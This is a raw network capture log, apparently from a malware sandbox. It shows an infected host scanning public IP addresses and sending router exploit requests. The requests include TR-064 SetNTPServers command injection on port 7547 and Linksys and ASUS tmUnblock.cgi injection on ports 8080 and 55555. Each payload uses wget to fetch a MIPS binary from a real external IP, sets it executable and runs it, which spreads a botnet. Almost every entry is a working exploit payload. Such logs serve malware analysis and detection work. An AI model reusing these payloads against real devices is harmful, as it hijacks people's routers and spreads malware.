Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:17.394243956 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
402	192.168.2.23	41870	109.157.135.24	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:17.503120899 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
403	192.168.2.23	39712	133.114.65.4	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:17.693809032 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:17.974124908 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
404	192.168.2.23	41874	109.157.135.24	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:17.693859100 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
405	192.168.2.23	39718	133.114.65.4	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:18.004108906 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:18.333970070 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
406	192.168.2.23	44902	172.64.193.111	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:18.016206980 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:37:18.533011913 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
407	192.168.2.23	39502	172.65.61.219	55555

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:18.046926022 CET	437	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
408	192.168.2.23	36422	172.88.204.252	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:18.232774019 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
409	192.168.2.23	41534	172.65.85.220	55555

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:18.246516943 CET	437	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
410	192.168.2.23	37756	172.87.193.210	55555

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:18.334758043 CET	425	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:37:19.297921896 CET	425	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:37:20.421040058 CET	425	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:37:22.849529028 CET	425	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:37:27.456834078 CET	425	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
411	192.168.2.23	57204	24.251.204.199	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:18.653162003 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
412	192.168.2.23	51472	95.30.162.50	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:18.717025995 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:18.973053932 CET	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Sat, 02 Mar 2024 14:37:18 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
413	192.168.2.23	44170	177.81.19.58	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:18.729001045 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
414	192.168.2.23	57268	24.251.204.199	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:18.803803921 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
415	192.168.2.23	46820	182.233.49.120	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:18.807679892 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
416	192.168.2.23	51536	95.30.162.50	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:18.931355000 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:19.149094105 CET	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Sat, 02 Mar 2024 14:37:18 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
417	192.168.2.23	44234	177.81.19.58	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:18.973978996 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
418	192.168.2.23	46884	182.233.49.120	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:19.113019943 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
419	192.168.2.23	53822	172.65.207.89	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:19.113856077 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
420	192.168.2.23	43710	42.196.158.176	443

Timestamp	Bytes transferred	Direction	Data
